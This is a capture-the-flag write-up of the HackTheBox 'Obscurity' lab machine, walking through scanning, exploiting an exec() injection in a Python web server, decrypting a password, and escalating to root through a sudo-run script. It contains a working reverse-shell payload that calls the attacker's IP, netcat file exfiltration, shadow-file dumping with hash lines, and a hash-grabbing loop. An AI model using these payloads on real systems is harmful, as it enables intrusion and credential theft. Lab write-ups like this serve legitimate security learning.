Hackthebox obscurity writeup
information@obscurity:~$
Column | Details |
---|---|
Name | obscurity |
IP | 10.10.10.168 |
Points | 30 |
Os | Linux |
Difficulty | Medium |
Creator | clubby789 |
Out On | 30 NOV 2019 |
Retired on | 9 MAY 2020 |
Brief@obscurity:~$
The real Journey of obscurity
Starts with a wfuzz on the http port 8080 by the file SupersecureServer.py
.And got the exact file,Reading the file and analyzing the python code we will get a www-data shell.There are bunch of files in the dir /home/robert/
and using the SuperSecureCrypt.py
decrypt the key
for the file out.txt
and using the key decrypting
the passwordreminder.txt
and we got one more key that is credentials
for user robert
.There are Three methods to get root
one is intended and another one is unintened , Both are related to that BetterSSH.py
In unintended way we just remove/rename the BetterSSH
dir and then make your own custom dir and place a file called BetterSSH.py
containg code to spawn
a bash shell and run the script.The intended
way is to executing the original
python script as root which is copying the shadow
file and after getting hash of user root
, crack it with john
and we have root user pass
.And there is one more intended maethod if your authenticate yourself while running the Python-Script and then you can run commands as root
.
Summary@obscurity:~$
Wfuzz
show a hidden dir calleddevelop
- Analyzing the
python
script that is using exec() - Crafting a payload and making a python script to
execute
the payload - Run the
python
script and got shell aswww-data
- Decrypting the
out.txt
using key ascheck.txt
- Decrypting the
passwordreminder.txt
using the output we got - Login as robert
- Got
user.txt
- the user robert can run
BetterSSH.py
as root - All used three methods are mentioned below
- 1.Method
Authorize
yourself in theBetterSSH.py
. - Now you can run commnads as root
- 2.Method
Run
an infinite loop in to read every file in/tmp/SSH
- Run the
BetterSSH.py
and grab the hash of rot user - 3.Method Rename the
BetterSSH
to something else and make your ownBetterSSH
dir - Make a file called
BetterSSH.py
in it containing the code to spawn a bash - Got root.txt
Pwned
Recon
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
➜ obscurity nmap -sC -sV -T4 -p- obscurity.htb -oA scans nmap.full -v
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-09 04:44 EDT
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 04:44
Completed NSE at 04:44, 0.00s elapsed
Initiating NSE at 04:44
Completed NSE at 04:44, 0.00s elapsed
Failed to resolve "nmap.full".
Initiating Ping Scan at 04:44
Scanning obscurity.htb (10.10.10.168) [4 ports]
Completed Ping Scan at 04:44, 0.40s elapsed (1 total hosts)
Failed to resolve "nmap.full".
Initiating SYN Stealth Scan at 04:44
Scanning obscurity.htb (10.10.10.168) [65535 ports]
Discovered open port 22/tcp on 10.10.10.168
Discovered open port 8080/tcp on 10.10.10.168
SYN Stealth Scan Timing: About 3.80% done; ETC: 04:58 (0:13:05 remaining)
SYN Stealth Scan Timing: About 12.52% done; ETC: 04:52 (0:07:06 remaining)
SYN Stealth Scan Timing: About 24.42% done; ETC: 04:50 (0:04:42 remaining)
SYN Stealth Scan Timing: About 34.67% done; ETC: 04:50 (0:03:48 remaining)
SYN Stealth Scan Timing: About 44.90% done; ETC: 04:50 (0:03:05 remaining)
SYN Stealth Scan Timing: About 55.00% done; ETC: 04:50 (0:02:28 remaining)
SYN Stealth Scan Timing: About 65.73% done; ETC: 04:49 (0:01:50 remaining)
SYN Stealth Scan Timing: About 75.65% done; ETC: 04:49 (0:01:18 remaining)
SYN Stealth Scan Timing: About 88.22% done; ETC: 04:49 (0:00:36 remaining)
Completed SYN Stealth Scan at 04:49, 295.81s elapsed (65535 total ports)
Initiating Service scan at 04:49
Scanning 2 services on obscurity.htb (10.10.10.168)
Completed Service scan at 04:49, 25.66s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.168.
Initiating NSE at 04:49
Completed NSE at 04:50, 9.09s elapsed
Initiating NSE at 04:50
Completed NSE at 04:50, 0.00s elapsed
Nmap scan report for obscurity.htb (10.10.10.168)
Host is up (0.31s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp closed http
8080/tcp open http-proxy BadHTTPServer
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Date: Sat, 09 May 2020 03:51:23
| Server: BadHTTPServer
| Last-Modified: Sat, 09 May 2020 03:51:23
| Content-Length: 4171
| Content-Type: text/html
| Connection: Closed
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>0bscura</title>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta name="keywords" content="">
| <meta name="description" content="">
| <!--
| Easy Profile Template
| http://www.templatemo.com/tm-467-easy-profile
| <!-- stylesheet css -->
| <link rel="stylesheet" href="css/bootstrap.min.css">
| <link rel="stylesheet" href="css/font-awesome.min.css">
| <link rel="stylesheet" href="css/templatemo-blue.css">
| </head>
| <body data-spy="scroll" data-target=".navbar-collapse">
| <!-- preloader section -->
| <!--
| <div class="preloader">
|_ <div class="sk-spinner sk-spinner-wordpress">
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.70%I=7%D=5/9%Time=5EB66EA0%P=x86_64-pc-linux-gnu%r(Get
SF:Request,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Sat,\x2009\x20May\x20202
SF:0\x2003:51:23\nServer:\x20BadHTTPServer\nLast-Modified:\x20Sat,\x2009\x
SF:20May\x202020\x2003:51:23\nContent-Length:\x204171\nContent-Type:\x20te
SF:xt/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"e
SF:n\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\n
SF:\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<m
SF:eta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-sc
SF:ale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20nam
SF:e=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templa
SF:te\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20sty
SF:lesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boot
SF:strap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-aw
SF:esome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templat
SF:emo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target=
SF:\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<d
SF:iv\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner-
SF:wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20S
SF:at,\x2009\x20May\x202020\x2003:51:23\nServer:\x20BadHTTPServer\nLast-Mo
SF:dified:\x20Sat,\x2009\x20May\x202020\x2003:51:23\nContent-Length:\x2041
SF:71\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20h
SF:tml>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<
SF:title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20con
SF:tent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=devi
SF:ce-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conten
SF:t=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nEa
SF:sy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-prof
SF:ile\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"styleshe
SF:et\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\
SF:"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\
SF:"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"s
SF:croll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20s
SF:ection\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"sk
SF:-spinner\x20sk-spinner-wordpress\">\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Failed to resolve "nmap.full".
NSE: Script Post-scanning.
Initiating NSE at 04:50
Completed NSE at 04:50, 0.00s elapsed
Initiating NSE at 04:50
Completed NSE at 04:50, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 332.82 seconds
Raw packets sent: 131254 (5.775MB) | Rcvd: 9071 (896.064KB)
Two ports 8080:http
, 22:ssh
are opened.Lets enumerate on the port 8080
Port 8080:http
Its serving a website
Running gobuster
doesnt show me anything
If we look at the bottom of the webpage
there is a mention of SupersecureServer.py
The last line is saying Message to server devs: the current source code for the web server is in ‘SuperSecureServer.py’ in the secret development directory , We can conclude from this that there is a dir and inside the dir
there is a file SuperSecureServer.py
But if we look at dir development
, it doesnt even exist.
Lets use wfuzz
to find that hidden dir.
Wfuzz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ obscurity wfuzz -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://obscurity.htb:8080/FUZZ/SuperSecureServer.py
Total requests: 950
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000276: C=200 170 L 498 W 5892 Ch "develop"
And we got a dir
develop , Now we can go to http://obscurity.htb:8080/develop/SuperSecureServer.py
.We have the full code of SuperSecureServer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
Since the initial page mentioned
that the current web-server is running on the above script
so we need to figure out a way from the file to get something.
1
2
3
4
5
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
If we look at the function serveDoc
there is a line
1
exec(info.format(path)) # This is how you do string formatting, right?
Analyzing SuperSecureServer.py
The exec()
function is used to execute system commands
like os.system()
.And its executing the variable path
after unquoting it
and there a info
variable which is holding a string
and then the info.format(path) is executing the decoded
value of the variable path
Making a script to get a shell
What i am going to do is crafting a payload
for reverse shell in python which will be url encoded and then execute the payload
by obscurity.htb:8080/payload
.I Just made a python script that will url
encode the payload and then execute it
Payload
1
'\''+'\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])\na=\''
0xprashant.py
1
2
3
4
5
6
7
8
9
10
11
12
import requests
import urllib
import os
url = 'http://obscurity.htb:8080/'
path = '\''+'\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])\na=\''
url = url + urllib.parse.quote(path)
print (url)
command = "curl " + url
os.system(command)
Getting shell as www-data
If i run the script 0xprashant.py
1
2
➜ obscurity python3 0xprashant.py
http://obscurity.htb:8080/%27%0Aimport%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.10%22%2C1234%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22/bin/bash%22%2C%22-i%22%5D%29%0Aa%3D%27
And on our netcat listener we got shell as www-data
1
2
3
4
5
6
7
➜ obscurity rlwrap nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.168.
Ncat: Connection from 10.10.10.168:41296.
www-data@obscure:/$
Privilege escalation to robert
There is one valid user in /home
dir, and its robert
and Fortunatly we have read permissions to the dir
1
2
3
4
5
6
www-data@obscure:/home$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Sep 24 2019 .
drwxr-xr-x 24 root root 4096 Oct 3 2019 ..
drwxr-xr-x 7 robert robert 4096 May 9 07:28 robert
So we can read the content of the dir robert
……
1
2
3
4
5
6
7
8
9
www-data@obscure:/home/robert$ ls -l
ls -l
total 24
drwxr-xr-x 2 root root 4096 Dec 2 09:47 BetterSSH
-rw-rw-r-- 1 robert robert 94 Sep 26 2019 check.txt
-rw-rw-r-- 1 robert robert 185 Oct 4 2019 out.txt
-rw-rw-r-- 1 robert robert 27 Oct 4 2019 passwordreminder.txt
-rwxrwxr-x 1 robert robert 2514 Oct 4 2019 SuperSecureCrypt.py
-rwx------ 1 robert robert 33 Sep 25 2019 user.txt
There are couple of files one is SuperSecureCrypt.py
. The script is following
SuperSecureCrypt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)
parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)
parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Encrypting...")
encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
The box name should be Python
To be honest lol XD, I mean here is Python Everywhere
.
passwordreminder.txt
1
2
3
www-data@obscure:/home/robert$ cat passwordreminder.txt
cat passwordreminder.txt
´ÑÈÌÉàÙÁÑ鯷¿k
check.txt
1
2
3
www-data@obscure:/home/robert$ cat check.txt
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
out.txt
1
2
3
4
5
6
www-data@obscure:/home/robert$ cat out.txt
cat out.txt
¦ÚÈêÚÞØÛÝÝ ×ÐÊß
¦ÚÈêÚÞØÛÝÝ ×ÐÊß
ÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐ
êÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäè ÎÍÚÎëÑÓäáÛÌ× v
And i transfered all the four
files to my machine , Since netcat is already installed we can use it to transfer files.
1
2
www-data@obscure:/home/robert$ cat SuperSecureCrypt.py | nc 10.10.14.10 2345
cat SuperSecureCrypt.py | nc 10.10.14.10 2345
And on my machine
1
2
3
4
5
6
➜ obscurity nc -nlvp 2345 >> SuperSecureCrypt.py
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2345
Ncat: Listening on 0.0.0.0:2345
Ncat: Connection from 10.10.10.168.
Ncat: Connection from 10.10.10.168:41880.
Like This i got all the four files to my machine.
Analyzing SuperSecureCrypt.py
The python script has two functions decrypt:Decryption
and encrypt:encryption
. And the files check.txt
, out.txt
, passowrdreminder.txt
1
2
3
4
5
6
7
8
9
10
11
➜ obscurity python3 SuperSecureCrypt.py -h
usage: SuperSecureCrypt.py [-h] [-i InFile] [-o OutFile] [-k Key] [-d]
Encrypt with 0bscura's encryption algorithm
optional arguments:
-h, --help show this help message and exit
-i InFile The file to read
-o OutFile Where to output the encrypted/decrypted file
-k Key Key to use
-d Decrypt mode
And we can supply many things …like infile , Outfile, and a key ,
From the check.txt I figured it out that out.txt
is the output after encrypting
the file check.txt
, The content of check.txt
will be the key and the infile will be out.txt
So we can use the decrypt
function to get out.txt
decrypted.
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ obscurity python3 SuperSecureCrypt.py -i out.txt -k "$(cat check.txt)" -o output -d
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file out.txt...
Decrypting...
Writing to output...
➜ obscurity cat output
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichai
And we got it !!
Now we have an another file called passwordreminder.txt
, Now i can use the passwordreminder.txt as infile
and the output
file as the key.
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ obscurity python3 SuperSecureCrypt.py -i passwordreminder.txt -k "$(cat output)" -o output2 -d
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file passwordreminder.txt...
Decrypting...
Writing to output2...
➜ obscurity cat output2
SecThruObsFTW
And we got the string
to be decrypted. SecThruObsFTW
Login as robert
The string we got decrypted is actually the password for user robert
1
2
3
4
5
6
7
8
9
➜ obscurity sshpass -p SecThruObsFTW ssh robert@obscurity.htb
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Sat May 9 07:08:30 2020 from 10.10.14.10
robert@obscure:~$
Got user.txt
1
2
3
robert@obscure:~$ cat user.txt
e44--------------------------2d7
robert@obscure:~$
Privilege Escalation to Root
Method 1 (intended)
Now If we run sudo -l
we can see that we can run the script BetterSSH.py
as root……
BetterSSH.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
Its a simple script that Ask the user to Authenticate
the user and if the user
is Authenticated
we can run commands as root
.
since the two lines saying everything
1
2
cmd = ['sudo', '-u', session['user']]
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
Lets get started our first method
Run the script as root
1
2
3
4
5
6
7
robert@obscure:/tmp$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: SecThruObsFTW
Traceback (most recent call last):
File "/home/robert/BetterSSH/BetterSSH.py", line 24, in <module>
with open('/tmp/SSH/'+path, 'w') as f:
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/nLuohR80'
So…here i got a error that the Directory SSH
Doesnt exist…lets make it
1
robert@obscure:/tmp$ mkdir SSH
Run the script again
1
2
3
4
robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: SecThruObsFTW
Authed!
Now we are Authed!
Now..we can run any commands by -u root command
1
2
3
4
5
robert@Obscure$ -u root whoami
Output: root
robert@Obscure$
Shadow file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
robert@Obscure$ -u root cat /etc/shadow
Output: root:$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:18226:0:99999:7:::
daemon:*:18113:0:99999:7:::
bin:*:18113:0:99999:7:::
sys:*:18113:0:99999:7:::
sync:*:18113:0:99999:7:::
games:*:18113:0:99999:7:::
man:*:18113:0:99999:7:::
lp:*:18113:0:99999:7:::
mail:*:18113:0:99999:7:::
news:*:18113:0:99999:7:::
uucp:*:18113:0:99999:7:::
proxy:*:18113:0:99999:7:::
www-data:*:18113:0:99999:7:::
backup:*:18113:0:99999:7:::
list:*:18113:0:99999:7:::
irc:*:18113:0:99999:7:::
gnats:*:18113:0:99999:7:::
nobody:*:18113:0:99999:7:::
systemd-network:*:18113:0:99999:7:::
systemd-resolve:*:18113:0:99999:7:::
syslog:*:18113:0:99999:7:::
messagebus:*:18113:0:99999:7:::
_apt:*:18113:0:99999:7:::
lxd:*:18113:0:99999:7:::
uuidd:*:18113:0:99999:7:::
dnsmasq:*:18113:0:99999:7:::
landscape:*:18113:0:99999:7:::
pollinate:*:18113:0:99999:7:::
sshd:*:18163:0:99999:7:::
robert:$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/:18163:0:99999:7:::
Method 2 (intended)
if we read the content
of the file BetterSSH.py
we can see that its reading the /etc/shadow
file and putting it in a random file generated. in the dir /tmp/SSH/
1
2
3
4
5
6
7
8
9
10
11
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
So what we gonna do
- Run a
infinte
loop to read the every file in /tmp/SSH/ - Run the
BetterSSH.py
as root - Grab the hash
Run the loop
1
root@obscure:~# while true;do cat /tmp/SSH/* 2>/dev/null;done
Run the python script
1
2
3
4
5
robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: SecThruObsFTW
Authed!
robert@Obscure$
Output on our Loop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
